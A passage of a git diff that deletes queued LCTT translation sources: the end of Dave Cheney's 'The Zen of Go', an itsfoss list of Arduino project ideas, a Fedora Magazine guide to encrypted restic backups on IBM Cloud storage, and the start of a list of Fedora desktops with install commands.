[`ErrGroup`][18] which provide a framework to execute, cancel and wait on functions run asynchronously. - -The bigger design maxim here is for library writers, or anyone writing code that could be run asynchronously, leave the responsibility of starting to goroutine to your caller. Let the caller choose how they want to start, track, and wait on your functions execution. - -### Write tests to lock in the behaviour of your package’s API - -Perhaps you were hoping to read an article from me where I didn’t rant about testing. Sadly, today is not that day. - -Your tests are the contract about what your software does and does not do. Unit tests at the package level should lock in the behaviour of the package’s API. They describe, in code, what the package promises to do. If there is a unit test for each input permutation, you have defined the contract for what the code will do _in code_, not documentation. - -This is a contract you can assert as simply as typing `go test`. At any stage, you can _know_ with a high degree of confidence, that the behaviour people relied on before your change continues to function after your change. - -Tests lock in api behaviour. Any change that adds, modifies or removes a public api must include changes to its tests. - -### Moderation is a virtue - -Go is a simple language, only 25 keywords. In some ways this makes the features that are built into the language stand out. Equally these are the features that the language sells itself on, lightweight concurrency, structural typing. - -I think all of us have experienced the confusion that comes from trying to use all of Go’s features at once. Who was so excited to use channels that they used them as much as they could, as often as they could? Personally for me I found the result was hard to test, fragile, and ultimately overcomplicated. Am I alone? - -I had the same experience with goroutines, attempting to break the work into tiny units I created a hard to manage hurd of Goroutines and ultimately missed the observation that most of my goroutines were always blocked waiting for their predecessor– the code was ultimately sequential and I had added a lot of complexity for little real world benefit. Who has experienced something like this? - -I had the same experience with embedding. Initially I mistook it for inheritance. Then later I recreated the fragile base class problem by composing complicated types, which already had several responsibilities, into more complicated mega types. - -This is potentially the least actionable piece of advice, but one I think is important enough to mention. The advice is always the same, all things in moderation, and Go’s features are no exception. If you can, don’t reach for a goroutine, or a channel, or embed a struct, anonymous functions, going overboard with packages, interfaces for everything, instead prefer simpler approach rather than the clever approach. - -### Maintainability counts - -I want to close with one final item from PEP-20, - -> “Readability Counts.” - -The Zen of Python, Item 7 - -So much has been said, about the importance of readability, not just in Go, but all programming languages. People like me who stand on stages advocating for Go use words like simplicity, readability, clarity, productivity, but ultimately they are all synonyms for one word–_maintainability_. - -The real goal is to write maintainable code. Code that can live on after the original author. Code that can exist not just as a point in time investment, but as a foundation for future value. It’s not that readability doesn’t matter, maintainability matters _more_. - -Go is not a language that optimises for clever one liners. Go is not a language which optimises for the least number of lines in a program. We’re not optimising for the size of the source code on disk, nor how long it takes to type the program into an editor. Rather, we want to optimise our code to be clear to the reader. Because its the reader who’s going to have to maintain this code. - -If you’re writing a program for yourself, maybe it only has to run once, or you’re the only person who’ll ever see it, then do what ever works for you. But if this is a piece of software that more than one person will contribute to, or that will be used by people over a long enough time that requirements, features, or the environment it runs in may change, then your goal must be for your program to be maintainable. If software cannot be maintained, then it will be rewritten; and that could be the last time your company will invest in Go. - -Can the thing you worked hard to build be maintained after you’re gone? What can you do today to make it easier for someone to maintain your code tomorrow? - -##### [the-zen-of-go.netlify.com][2] - - 1. This part of the talk had several screenshots of the landing pages for the websites for [Ruby][19], [Swift][20], [Elm][21], [Go][22], [NodeJS][23], [Python][24], [Rust][25], highlighting how the language described itself.[][26] - 2. I tend to pick on `net/http` a lot, and this is not because it is bad, in fact it is the opposite, it is the most successful, oldest, most used API in the Go codebase. And because of that its design, evolution, and shortcoming have been thoroughly picked over. Think of this as flattery, not criticism.[][27] - - - -#### Related posts: - - 1. [Never start a goroutine without knowing how it will stop][28] - 2. [Simplicity Debt][29] - 3. [Curious Channels][30] - 4. [Let’s talk about logging][31] - - - --------------------------------------------------------------------------------- - -via: https://dave.cheney.net/2020/02/23/the-zen-of-go - -作者:[Dave Cheney][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://dave.cheney.net/author/davecheney -[b]: https://github.com/lujun9972 -[1]: https://www.gophercon.org.il -[2]: https://the-zen-of-go.netlify.com -[3]: https://www.youtube.com/watch?v=yd_rtwYaXps -[4]: https://dave.cheney.net/wp-content/uploads/2020/02/1011226.jpg -[5]: https://dave.cheney.net/wp-content/uploads/2020/02/mean-girls-you-cant-sit-with-us-main.jpg -[6]: http://go-proverbs.github.io -[7]: https://danluu.com/microsoft-culture/ -[8]: https://dave.cheney.net/wp-content/uploads/2020/02/Lucovsky.001.jpeg -[9]: https://www.python.org/dev/peps/pep-0020/ -[10]: https://dave.cheney.net/2019/01/08/avoid-package-names-like-base-util-or-common -[11]: https://twitter.com/davecheney/status/539576755254611968?ref_src=twsrc%5Etfw -[12]: tmp.iUoDiQyXMU#easy-footnote-bottom-1-3936 (This part of the talk had several screenshots of the landing pages for the websites for Ruby, Swift, Elm, Go, NodeJS, Python, Rust, highlighting how the language described itself.) -[13]: https://changelog.com/gotime/91 -[14]: https://medium.com/@matryer/line-of-sight-in-code-186dd7cdea88 -[15]: http://sweng.the-davies.net/Home/rustys-api-design-manifesto -[16]: https://www.youtube.com/watch?v=rFejpH_tAHM -[17]: tmp.iUoDiQyXMU#easy-footnote-bottom-2-3936 (I tend to pick on net/http a lot, and this is not because it is bad, in fact it is the opposite, it is the most successful, oldest, most used API in the Go codebase. And because of that its design, evolution, and shortcoming have been thoroughly picked over. Think of this as flattery, not criticism.) -[18]: https://godoc.org/golang.org/x/sync/errgroup -[19]: https://www.ruby-lang.org/en/ -[20]: https://swift.org -[21]: https://elm-lang.org -[22]: https://golang.org -[23]: https://nodejs.org/en/ -[24]: https://www.python.org -[25]: https://www.rust-lang.org -[26]: tmp.iUoDiQyXMU#easy-footnote-1-3936 -[27]: tmp.iUoDiQyXMU#easy-footnote-2-3936 -[28]: https://dave.cheney.net/2016/12/22/never-start-a-goroutine-without-knowing-how-it-will-stop (Never start a goroutine without knowing how it will stop) -[29]: https://dave.cheney.net/2017/06/15/simplicity-debt (Simplicity Debt) -[30]: https://dave.cheney.net/2013/04/30/curious-channels (Curious Channels) -[31]: https://dave.cheney.net/2015/11/05/lets-talk-about-logging (Let’s talk about logging) diff --git a/sources/tech/20200224 17 Cool Arduino Project Ideas for DIY Enthusiasts.md b/sources/tech/20200224 17 Cool Arduino Project Ideas for DIY Enthusiasts.md deleted file mode 100644 index 2cfe9c1872..0000000000 --- a/sources/tech/20200224 17 Cool Arduino Project Ideas for DIY Enthusiasts.md +++ /dev/null @@ -1,272 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (17 Cool Arduino Project Ideas for DIY Enthusiasts) -[#]: via: (https://itsfoss.com/cool-arduino-projects/) -[#]: author: (Ankush Das https://itsfoss.com/author/ankush/) - -17 Cool Arduino Project Ideas for DIY Enthusiasts -====== - -[Arduino][1] is an open-source electronics platform that combines both open source software and hardware to let people make interactive projects with ease. You can get Arduino-compatible [single board computers][2] and use them to make something useful. - -In addition to the hardware, you will also need to know the [Arduino language][3] to use the [Arduino IDE][4] to successfully create something. - -You can code using the web editor or use the Arduino IDE offline. Nevertheless, you can always refer to the [official resources][5] available to learn about Arduino. - -Considering that you know the essentials, I will be mentioning some of the best (or interesting) Arduino projects. You can try to make them for yourself or modify them to come up with something of your own. - -### Interesting Arduino project ideas for beginners, experts, everyone - -![][6] - -The following projects need a variety of additional hardware – so make sure to check out the official link to the projects (_originally featured on the [official Arduino Project Hub][7]_) to learn more about them. - -Also, it is worth noting that they aren’t particularly in any ranking order – so feel free to try what sounds best to you. - -#### 1\. LED Controller - -Looking for simple Arduino projects? Here’s one for you. - -One of the easiest projects that let you control LED lights. Yes, you do not have to opt for expensive LED products just to decorate your room (or for any other use-case), you can simply make an LED controller and customize it to use it however you want. - -It requires using the [Arduino UNO board][8] and a couple more things (which also includes an Android phone). You can learn more about it in the link to the project below. - -[LED Controller][9] - -#### 2\. Hot Glue LED Matrix Lamp - -![][10] - -Another Arduino LED project for you. Since we are talking about using LEDs to decorate, you can also make an LED lamp that looks beautiful. - -For this, you might want to make sure that you have a 3D printer. Next, you need an LED strip and **Arduino Nano R3** as the primary materials. - -Once you’ve printed the case and assembled the lamp section, all you need to do is to add the glue sticks and figure out the wiring. It does sound very simple to mention – you can learn more about it on the official Arduino project feature site. - -[LED Matrix Lamp][11] - -#### 3\. Arduino Mega Chess - -![][12] - -Want to have a personal digital chessboard? Why not? - -You’ll need a TFT LCD touch screen display and an [Arduino Mega 2560][13] board as the primary materials. If you have a 3D printer, you can create a pretty case for it and make changes accordingly. - -Take a look at the original project for inspiration. - -[Arduino Mega Chess][14] - -#### 4\. Enough Already: Mute My TV - -A very interesting project. I wouldn’t argue the usefulness of it – but if you’re annoyed by certain celebrities (or personalities) on TV, you can simply mute their voice whenever they’re about to speak something on TV. - -Technically, it was tested with the old tech back then (when you didn’t really stream anything). You can watch the video above to get an idea and try to recreate it or simply head to the link to read more about it. - -[Mute My TV][15] - -#### 5\. Robot Arm with Controller - -![][16] - -If you want to do something with the help of your robot and still have manual control over it, the robot arm with a controller is one of the most useful Arduino projects. It uses the [Arduino UNO board][8] if you’re wondering. - -You will have a robot arm -for which you can make a case using the 3D printer to enhance its usage and you can use it for a variety of use-cases. For instance, to clean the carbage using the robot arm or anything similar where you don’t want to directly intervene. - -[Robotic Arm With Controller][17] - -#### 6\. Make Musical Instrument Using Arduino - -I’ve seen a variety of musical instruments made using Arduino. You can explore the Internet if you want something different than this. - -You would need a [Pi supply flick charge][18] and an **Arduino UNO** to make it happen. It is indeed a cool Arduino project where you get to simply tap and your hand waves will be converted to music. Also, it isn’t tough to make this – so you should have a lot of fun making this. - -[Musical Instrument using Arduino][19] - -#### 7\. Pet Trainer: The MuttMentor - -An Arduino-based device that assists you to help train your pet – sounds exciting! - -For this, they’re using the [Arduino Nano 33 BLE Sense][20] while utilizing TensorFlow to train a small neural network for all the common actions that your pet does. Accordingly, the buzzer will offer a reinforcing notification when your pet obeys your command. - -This can have wide applications when tweaked as per your requirements. Check out the details below. - -[The MuttMentor][21] - -#### 8\. Basic Earthquake Detector - -Normally, you depend on the government officials to announce/inform about the earthquake stats (or the warning for it). - -But with Arduino boards, you can simply build a basic earthquake detector and have transparent results for yourself without depending on the authorities. Click on the button below to know about the relevant details to help make it. - -[Basic Earthquake Detector][22] - -#### 9\. Security Access Using RFID Reader - -![][23] - -As the project describes – “_RFID tagging is an ID system that uses small radio frequency identification_ “. - -So, in this project, you will be making an RFID reader using Arduino while pairing it with an [Adafruit NFC card][24] for security access. Check out the full details using the button below and let me know how it works for you. - -[Security Access using RFID reader][25] - -#### 10\. Smoke Detection using MQ-2 Gas Sensor - -![][26] - -This could be potentially one of the best Arduino projects out there. You don’t need to spend a lot of money to equip smoke detectors for your home, you can manage with a DIY solution to some extent. - -Of course, unless you want a complex failsafe set up along with your smoke detector, a basic inexpensive solution should do the trick. In either case, you can also find other applications for the smoke detector. - -[Smoke Detector][27] - -#### 11\. Arduino Based Amazon Echo using 1Sheeld - -![][28] - -In case you didn’t know [1Sheeld][29] basically replaces the need for an add-on Arduino board. You just need a smartphone and add Arduino shields to it so that you can do a lot of things with it. - -Using 5 such shields, the original creator of this project made himself a DIY Amazon Echo. You can find all the relevant details, schematics, and code to make it happen. - -[DIY Amazon Echo][30] - -#### 12\. Audio Spectrum Visualizer - -![][31] - -Just want to make something cool? Well, here’s an idea for an audio spectrum visualizer. - -For this, you will need an Arduino Nano R3 and an LED display as primary materials to get started with. You can tweak the display as required. You can connect it with your headphone output or simply a line-out amplifier. - -Easily one of the cheapest Arduino projects that you can try for fun. - -[Audio Spectrum Visualizer][32] - -#### 13\. Motion Following Motorized Camera - -![][33] - -Up for a challenge? If you are – this will be one of the coolest Arduino Projects in our list. - -Basically, this is meant to replace your home security camera which is limited to an angle of video recording. You can turn the same camera into a motorized camera that follows the motion. - -So, whenever it detects a movement, it will change its angle to try to follow the object. You can read more about it to find out how to make it. - -[Motion Following Motorized Camera][34] - -#### 14\. Water Quality Monitoring System - -![][35] - -If you’re concerned about your health in connection to the water you drink, you can try making this. - -It requires an Arduino UNO and the water quality sensors as the primary materials. To be honest, a useful Arduino project to go for. You can find everything you need to make this in the link below. - -[Water Quality Monitoring System][36] - -#### 15\. Punch Activated Arm Flamethrower - -I would be very cautious about this – but seriously, one of the best (and coolest) Arduino projects I’ve ever come across. - -Of course, this counts as a fun project to try out to see what bigger projects you can pull off using Arduino and here it is. In the project, he originally used the [SparkFun Arduino Pro Mini 328][37] along with an accelerometer as the primary materials. - -[Punch Activated Flamethrower][38] - -#### 16\. Polar Drawing Machine - -![][39] - -This isn’t any ordinary plotter machine that you might’ve seen people creating using Arduino boards. - -With this, you can draw some cool vector graphics images or bitmap. It might sound like bit of overkill but then it could also be fun to do something like this. - -This could be a tricky project, so you can refer to the details on the link to go through it thoroughly. - -[Polar Drawing Machine][40] - -#### 17\. Home Automation - -Technically, this is just a broad project idea because you can utilize the Arduino board to automate almost anything you want at your home. - -Just like I mentioned, you can go for a security access device, maybe create something that automatically waters the plants or simply make an alarm system. - -Countless possibilities of what you can do to automate things at your home. For reference, I’ve linked to an interesting home automation project below. - -[Home Automation][41] - -#### Bonus: Robot Cat (OpenCat) - -![][42] - -A programmable robotic cat for AI-enhanced services and STEM education. In this project, both Arduino and Raspberry Pi boards have been utilized. - -You can also look at the [Raspberry Pi alternatives][2] if you want. This project needs a lot of work, so you would want to invest a good amount of time to make it work. - -[OpenCat][43] - -**Wrapping Up** - -With the help of Arduino boards (coupled with other sensors and materials), you can do a lot of projects with ease. Some of the projects that I’ve listed above are suitable for beginners and some are not. Feel free to take your time to analyze what you need and the cost of the project before proceeding. - -Did I miss listing an interesting Arduino project that deserves the mention here? Let me know your thoughts in the comments. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/cool-arduino-projects/ - -作者:[Ankush Das][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/ankush/ -[b]: https://github.com/lujun9972 -[1]: https://www.arduino.cc/ -[2]: https://itsfoss.com/raspberry-pi-alternatives/ -[3]: https://www.arduino.cc/reference/en/ -[4]: https://www.arduino.cc/en/main/software -[5]: https://www.arduino.cc/en/Guide/HomePage -[6]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/arduino-project-ideas.jpg?ssl=1 -[7]: https://create.arduino.cc/projecthub -[8]: https://store.arduino.cc/usa/arduino-uno-rev3 -[9]: https://create.arduino.cc/projecthub/mayooghgirish/arduino-bluetooth-basic-tutorial-d8b737?ref=platform&ref_id=424_trending___&offset=89 -[10]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/02/led-matrix-lamp.jpg?ssl=1 -[11]: https://create.arduino.cc/projecthub/john-bradnam/hot-glue-led-matrix-lamp-42322b?ref=platform&ref_id=424_trending___&offset=42 -[12]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/02/arduino-chess-board.jpg?ssl=1 -[13]: https://store.arduino.cc/usa/mega-2560-r3 -[14]: https://create.arduino.cc/projecthub/Sergey_Urusov/arduino-mega-chess-d54383?ref=platform&ref_id=424_trending___&offset=95 -[15]: https://makezine.com/2011/08/16/enough-already-the-arduino-solution-to-overexposed-celebs/ -[16]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2020/02/robotic-arm-controller.jpg?ssl=1 -[17]: https://create.arduino.cc/projecthub/H0meMadeGarbage/robot-arm-with-controller-2038df?ref=platform&ref_id=424_trending___&offset=13 -[18]: https://uk.pi-supply.com/products/flick-hat-3d-tracking-gesture-hat-raspberry-pi -[19]: https://create.arduino.cc/projecthub/lanmiLab/make-musical-instrument-using-arduino-and-flick-large-e2890b?ref=platform&ref_id=424_trending___&offset=24 -[20]: https://store.arduino.cc/usa/nano-33-ble-sense -[21]: https://create.arduino.cc/projecthub/whatsupdog/the-muttmentor-9d9753?ref=platform&ref_id=424_trending___&offset=44 -[22]: https://www.instructables.com/id/Basic-Arduino-Earthquake-Detector/ -[23]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/02/security-access-arduino.jpg?ssl=1 -[24]: https://www.adafruit.com/product/359 -[25]: https://create.arduino.cc/projecthub/Aritro/security-access-using-rfid-reader-f7c746?ref=platform&ref_id=424_trending___&offset=85 -[26]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/02/smoke-detection-arduino.jpg?ssl=1 -[27]: https://create.arduino.cc/projecthub/Aritro/smoke-detection-using-mq-2-gas-sensor-79c54a?ref=platform&ref_id=424_trending___&offset=89 -[28]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/diy-amazon-echo.jpg?ssl=1 -[29]: https://1sheeld.com/ -[30]: https://create.arduino.cc/projecthub/ahmedismail3115/arduino-based-amazon-echo-using-1sheeld-84fa6f?ref=platform&ref_id=424_trending___&offset=91 -[31]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/audio-spectrum-visualizer.jpg?ssl=1 -[32]: https://create.arduino.cc/projecthub/Shajeeb/32-band-audio-spectrum-visualizer-analyzer-902f51?ref=platform&ref_id=424_trending___&offset=87 -[33]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/motion-following-camera.jpg?ssl=1 -[34]: https://create.arduino.cc/projecthub/lindsi8784/motion-following-motorized-camera-base-61afeb?ref=platform&ref_id=424_trending___&offset=86 -[35]: https://i2.wp.com/itsfoss.com/wp-content/uploads/2020/02/water-quality-monitoring.jpg?ssl=1 -[36]: https://create.arduino.cc/projecthub/chanhj/water-quality-monitoring-system-ddcb43?ref=platform&ref_id=424_trending___&offset=93 -[37]: https://www.sparkfun.com/products/11113 -[38]: https://create.arduino.cc/projecthub/Advanced/punch-activated-arm-flamethrowers-real-firebending-95bb80 -[39]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/polar-drawing-machine.jpg?ssl=1 -[40]: https://create.arduino.cc/projecthub/ArduinoFT/polar-drawing-machine-f7a05c?ref=search&ref_id=drawing&offset=2 -[41]: https://create.arduino.cc/projecthub/ahmedel-hinidy2014/home-management-system-control-your-home-from-a-website-076846?ref=search&ref_id=home%20automation&offset=4 -[42]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2020/02/opencat.jpg?ssl=1 -[43]: https://create.arduino.cc/projecthub/petoi/opencat-845129?ref=platform&ref_id=424_popular___&offset=8 diff --git a/sources/tech/20200224 Make free encrypted backups to the cloud on Fedora.md b/sources/tech/20200224 Make free encrypted backups to the cloud on Fedora.md deleted file mode 100644 index 6015e6dc92..0000000000 --- a/sources/tech/20200224 Make free encrypted backups to the cloud on Fedora.md +++ /dev/null @@ -1,237 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Make free encrypted backups to the cloud on Fedora) -[#]: via: (https://fedoramagazine.org/make-free-encrypted-backups-to-the-cloud-on-fedora/) -[#]: author: (Curt Warfield https://fedoramagazine.org/author/rcurtiswarfield/) - -Make free encrypted backups to the cloud on Fedora -====== - -![][1] - -Most free cloud storage is limited to 5GB or less. Even Google Drive is limited to 15GB. While not heavily advertised, IBM offers free accounts with a whopping **25GB** of cloud storage for free. This is not a limited time offer, and you don’t have to provide a credit card. It’s absolutely free! Better yet, since it’s S3 compatible, most of the S3 tools available for backups should work fine. - -This article will show you how to use restic for encrypted backups onto this free storage. Please also refer to [this previous Magazine article about installing and configuring restic.][2] Let’s get started! - -### Creating your free IBM account and storage - -Head over to the IBM cloud services site and follow the steps to sign up for a free account here: . You’ll need to verify your account from the email confirmation that IBM sends to you. - -Then log in to your account to bring up your dashboard, at . - -Click on the **Create resource** button. - -![][3] - -Click on **Storage** and then **Object Storage**. - -![][4] - -Next click on the **Create Bucket** button. - -![][5] - -This brings up the **Configure your resource** section. - -![][6] - -Next, click on the ****Create** button to use the default settings. - -![][7] - -Under **Predefined buckets** click on the **Standard** box: - -![][8] - -A unique bucket name is automatically created, but it’s suggested that you change this. - -![][9] - -In this example, the bucket name is changed to __freecloudstorage_._** - -Click on the **Next** button after choosing a bucket name: - -![][10] - -Continue to click on the **Next** button until you get the the **Summary** page: - -![][11] - -Scroll down to the **Endpoints** section. - -![][12] - -The information in the **Public** section is the location of your bucket. This is what you need to specify in restic when you create your backups. In this example, the location is **s3.us-south.cloud-object-storage.appdomain.cloud**. - -### Making your credentials - -The last thing that you need to do is create an access ID and secret key. To start, click on **Service credentials**. - -![][13] - -Click on the **New credential** button. - -![][14] - -Choose a name for your credential, make sure you check the **Include HMAC Credential** box and then click on the **Add** button. In this example I’m using the name **resticbackup**. - -![][15] - -Click on **View credentials**. - -![][16] - -The _access_key_id_ and _secret_access_key_ is what you are looking for. (For obvious reasons, the author’s details here are obscured.) - -You will need to export these by calling them with the _export_ alias in the shell, or putting them into a backup script. - -![][17] - -### Preparing a new repository - -Restic refers to your backup as a _repository_, and can make backups to any bucket on your IBM cloud account. First, setup the following environment variables using your _access_key_id_ and _secret_access_key_ that you retrieved from your IBM cloud bucket. These can also be set in any backup script you may create. - -``` -$ export AWS_ACCESS_KEY_ID= -$ export AWS_SECRET_ACCESS_KEY= -``` - -Even though you are using IBM Cloud and not AWS, as previously mentioned, IBM Cloud storage is S3 compatible, and restic uses its interal AWS commands for any S3 compatible storage. So these AWS keys really refer to the keys from your IBM bucket. - -Create the repository by initializing it. A prompt appears for you to type a password for the repository. _**Do not lose this password because your data is irrecoverable without it!**_ - -``` -restic -r s3:http://PUBLIC_ENDPOINT_LOCATION/BUCKET init -``` - -The _PUBLIC_ENDPOINT_LOCATION_ was specified in the Endpoint section of your Bucket summary. - -![][18] - -For example: - -``` -$ restic -r s3:http://s3.us-south.cloud-object-storage.appdomain.cloud/freecloudstorage init -``` - -### Creating backups - -Now it’s time to backup some data. Backups are called _snapshots_. Run the following command and enter the repository password when prompted. - -``` -restic -r s3:http://PUBLIC_ENDPOINT_LOCATION/BUCKET backup files_to_backup -``` - -For example: - -``` -$ restic -r s3:http://s3.us-south.cloud-object-storage.appdomain.cloud/freecloudstorage backup Documents/ -Enter password for repository: - repository 106a2eb4 opened successfully, password is correct - Files: 51 new, 0 changed, 0 unmodified - Dirs: 0 new, 0 changed, 0 unmodified - Added to the repo: 11.451 MiB - processed 51 files, 11.451 MiB in 0:06 - snapshot 611e9577 saved -``` - -### Restoring from backups - -Now that you’ve backed up some files, it’s time to make sure you know how to restore them. To get a list of all of your backup snapshots, use this command: - -``` -restic -r s3:http://PUBLIC_ENDPOINT_LOCATION/BUCKET snapshots -``` - -For example: - -``` -$ restic -r s3:http://s3.us-south.cloud-object-storage.appdomain.cloud/freecloudstorage snapshots -Enter password for repository: -ID Date Host Tags Directory -------------------------------------------------------------------- -106a2eb4 2020-01-15 15:20:42 client /home/curt/Documents -``` - -To restore an entire snapshot, run a command like this: - -``` -restic -r s3:http://s3.us-south.cloud-object-storage.appdomain.cloud/freecloudstorage restore snapshotID --target restoreDirectory -``` - -For example: - -``` -$ restic -r s3:http://s3.us-south.cloud-object-storage.appdomain.cloud/freecloudstorage restore 106a2eb4 --target ~ -Enter password for repository: -repository 106a2eb4 opened successfully, password is correct -restoring to /tmp -``` - -* * * - -_Photo by [Alex Machado][19] on [Unsplash][20]._ - -[EDITORS NOTE: The Fedora Project is [sponsored][21] by [Red Hat][22], which is owned by [IBM][23].] - -[EDITORS NOTE: Updated at 1647 UTC on 24 February 2020 to correct a broken link.] - --------------------------------------------------------------------------------- - -via: https://fedoramagazine.org/make-free-encrypted-backups-to-the-cloud-on-fedora/ - -作者:[Curt Warfield][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://fedoramagazine.org/author/rcurtiswarfield/ -[b]: https://github.com/lujun9972 -[1]: https://fedoramagazine.org/wp-content/uploads/2020/01/encrypted-backups-ibm-cloud-816x345.jpg -[2]: https://fedoramagazine.org/use-restic-encrypted-backups/ -[3]: https://fedoramagazine.org/wp-content/uploads/2020/01/ibmclouddash-3-e1579713553261.png -[4]: https://fedoramagazine.org/wp-content/uploads/2020/01/ibmcloudresourcestorage-3.png -[5]: https://fedoramagazine.org/wp-content/uploads/2020/01/ibmcloudbucket-3.png -[6]: https://fedoramagazine.org/wp-content/uploads/2020/01/ibmcloudbucket2.png -[7]: https://fedoramagazine.org/wp-content/uploads/2020/01/ibmcloudbucket3-e1579713758635.png -[8]: https://fedoramagazine.org/wp-content/uploads/2020/01/ibmcloudbucket4.png -[9]: https://fedoramagazine.org/wp-content/uploads/2020/01/createbucket1.png -[10]: https://fedoramagazine.org/wp-content/uploads/2020/01/next.png -[11]: https://fedoramagazine.org/wp-content/uploads/2020/01/bucketsummary-1024x368.png -[12]: https://fedoramagazine.org/wp-content/uploads/2020/01/endpoints-1024x272.png -[13]: https://fedoramagazine.org/wp-content/uploads/2020/01/servicecreds.png -[14]: https://fedoramagazine.org/wp-content/uploads/2020/01/newcred.png -[15]: https://fedoramagazine.org/wp-content/uploads/2020/01/addnewcred.png -[16]: https://fedoramagazine.org/wp-content/uploads/2020/01/keys-1024x298.png -[17]: https://fedoramagazine.org/wp-content/uploads/2020/01/keys2.png -[18]: https://fedoramagazine.org/wp-content/uploads/2020/01/publicendpoint.png -[19]: https://unsplash.com/@alexmachado?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[20]: https://unsplash.com/s/photos/backups-to-cloud?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText -[21]: https://getfedora.org/sponsors/ -[22]: https://redhat.com -[23]: https://www.ibm.com/cloud/redhat diff --git a/sources/tech/20200228 Fedora-s gaggle of desktops.md b/sources/tech/20200228 Fedora-s gaggle of desktops.md deleted file mode 100644 index d92d84344a..0000000000 --- a/sources/tech/20200228 Fedora-s gaggle of desktops.md +++ /dev/null @@ -1,411 +0,0 @@ -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) -[#]: subject: (Fedora’s gaggle of desktops) -[#]: via: (https://fedoramagazine.org/fedoras-gaggle-of-desktops/) -[#]: author: (Troy Dawson https://fedoramagazine.org/author/tdawson/) - -Fedora’s gaggle of desktops -====== - -![][1] - -There are 38 different desktops or window managers in Fedora 31. You could try a different one every day for a month, and still have some left over. Some have very few features. Some have so many features they are called a desktop environment. This article can’t go into detail on each, but it’s interesting to see the whole list in one place. - -### Criteria for desktops - -To be on this list, the desktop must show up on the desktop manager’s selection list. If the desktop has more than one entry in the desktop manager list, they are counted just as that one desktop. An example is “GNOME”, “GNOME Classic” and “GNOME (Wayland).” These all show up on the desktop manager list, but they are still just GNOME. - -### List of desktops -``` - -``` - -#### [**9wm**][2] - -``` -Emulation of the Plan 9 window manager 8 1/2 - dnf install 9wm -``` - -#### [**awesome**][3] - -``` -Highly configurable, framework window manager for X. Fast, light and extensible -https://fedoramagazine.org/5-cool-tiling-window-managers/ - dnf install awesome -``` - -#### [**blackbox**][4] - -``` -Very small and fast Window Manager -Fedora uses the maintained fork on github - dnf install blackbox -``` - -#### [**bspwm**][5] - -``` -A tiling window manager based on binary space partitioning -https://github.com/windelicato/dotfiles/wiki/bspwm-for-dummies - dnf install bspwm -``` - -#### **[byobu][6]** - -``` -Light-weight, configurable window manager built upon GNU screen - dnf install byobu -``` - -#### **[Cinnamon][7]** - -``` -Cinnamon provides a desktop with a traditional layout, advanced features, easy to use, powerful and flexible. -https://projects.linuxmint.com/cinnamon/ -https://opensource.com/article/19/12/cinnamon-linux-desktop - dnf group install "Cinnamon Desktop" -``` - -#### **[cwm][8]** - -``` -Calm Window Manager by OpenBSD project -https://steemit.com/technology/@jamesdeagle/the-calm-window-manager-cwm-a-quick-start-guide - dnf install cwm -``` - -#### **[Deepin][9]** - -``` -Deepin desktop is the desktop environment released with deepin (the linux distribution). It aims at being elegant and easy to use. - dnf group install "Deepin Desktop" - (optional) dnf group install "Deepin Desktop Office" "Media packages for Deepin Desktop" -``` - -#### **[dwm][10]** - -``` -Dynamic window manager for X -https://fedoramagazine.org/lets-try-dwm-dynamic-window-manger/ -https://fedoramagazine.org/5-cool-tiling-window-managers/ - dnf install dwm - (optional) dnf install dwm-user -``` - -#### **[enlightenment][11]** - -``` -Enlightenment window manager -https://opensource.com/article/19/12/linux-enlightenment-desktop - dnf install enlightenment -``` - -#### **[e16][11]** - -``` -The Enlightenment window manager, DR16 - dnf install e16 - (optional) dnf install e16-epplets e16-keyedit e16-themes -``` - -#### **[fluxbox][12]** - -``` -Window Manager based on Blackbox - dnf install fluxbox - (optional) dnf install fluxbox-pulseaudio fluxbox-vim-syntax -``` - -#### **[fvwm][13]** - -``` -Highly configurable multiple virtual desktop window manager -http://www.fvwm.org/ -https://opensource.com/article/19/12/fvwm-linux-desktop - dnf install fvwm -``` - -#### **[GNOME][14]** - -``` -GNOME is a highly intuitive and user friendly desktop environment. -* both X11 and wayland -https://opensource.com/article/19/12/gnome-linux-desktop -https://fedoramagazine.org/3-simple-and-useful-gnome-shell-extensions/ - dnf group install "GNOME" - (optional but large) dnf group install "Fedora Workstation" -``` - -#### **[herbstluftwm][15]** - -``` -A manual tiling window manager -https://opensource.com/article/19/12/herbstluftwm-linux-desktop - dnf install herbstluftwm - (optional) dnf install herbstluftwm-zsh herbstluftwm-fish -``` - -#### **[i3][16]** - -``` -Improved tiling window manager -https://fedoramagazine.org/getting-started-i3-window-manager/ -https://fedoramagazine.org/using-i3-with-multiple-monitors/ - dnf install i3 - (optional) dnf install i3-doc i3-ipc 